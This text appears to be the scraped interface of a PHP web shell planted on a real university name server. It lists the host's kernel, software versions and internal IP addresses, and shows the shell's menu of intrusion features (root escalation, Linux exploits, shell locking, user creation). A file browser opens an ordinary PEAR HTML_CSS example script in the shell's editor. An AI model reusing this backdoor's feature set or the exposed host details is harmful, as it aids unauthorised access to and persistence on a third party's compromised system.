Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
doc /
HTML_CSS /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
CSS_Advanced.php
1016
B
-rw-r--r--
CSS_DisplayOnline.php
1.1
KB
-rw-r--r--
css_error_custom.php
2.6
KB
-rw-r--r--
css_error_ignore.php
1.23
KB
-rw-r--r--
css_error_logger.php
4.13
KB
-rw-r--r--
css_errorstack_custom.php
5.04
KB
-rw-r--r--
css_errorstack_logger.php
6
KB
-rw-r--r--
CSS_grepStyles.php
2.91
KB
-rw-r--r--
CSS_InHeader.php
1.51
KB
-rw-r--r--
CSS_Inline.php
1.38
KB
-rw-r--r--
CSS_Logger.php
5.96
KB
-rw-r--r--
CSS_parseData.php
1.97
KB
-rw-r--r--
CSS_req12194_atrule_api.php
1.39
KB
-rw-r--r--
CSS_req12194_atrule_parser.php
570
B
-rw-r--r--
CSS_Stylesheet.php
1.04
KB
-rw-r--r--
CSS_validate.php
2.64
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CSS_parseData.php
<?php /** * Tell whether a value return by HTML_CSS is an error. * Solution to use HTML_CSS::isError() method. * * PHP versions 4 and 5 * * @category HTML * @package HTML_CSS * @subpackage Examples * @author Laurent Laville <pear@laurent-laville.org> * @copyright 2005-2009 Laurent Laville * @license http://www.opensource.org/licenses/bsd-license.php BSD * @version CVS: $Id: CSS_parseData.php,v 1.8 2009/01/19 23:22:39 farell Exp $ * @link http://pear.php.net/package/HTML_CSS * @since File available since Release 1.0.0RC2 * @ignore */ require_once 'HTML/CSS.php'; /** * Replace default internal error handler. * * Always print rather than dies if the error is an exception. * * @param int $code a numeric error code. * Valid are HTML_CSS_ERROR_* constants * @param string $level error level ('exception', 'error', 'warning', ...) * * @return integer * @ignore */ function myErrorHandler($code, $level) { return PEAR_ERROR_PRINT; // always print all error messages } /* body { font-size: 1em; } ---- print.css ---- *{ margin: 4px; padding: 0px; } body{ font-family: Tahoma, Verdana, Helvetica, Arial, sans-serif; text-align:center; background-color:#fff; } ---- default.css ---- *{ margin: 0px; padding: 0px; } body{ font-family: Lucida Grande, Tahoma, Verdana, Arial, sans-serif; text-align:center; background-color:#fff; } */ $styles = array( "body { font-size: 1em; }", "print.css", "default.css" ); $prefs = array( 'push_callback' => 'myErrorHandler', ); $attribs = null; $css = new HTML_CSS($attribs, $prefs); $res = $css->parseData($styles); if ($css->isError($res)) { $line = __LINE__ - 1; $style = 'background-color:red; color:yellow; font-weight:bold; padding:0.4em;'; echo '<p style="'.$style.'">Error message detected by isError() at line ' . $line . '</p>'; } print 'Still alive !'; ?>
Close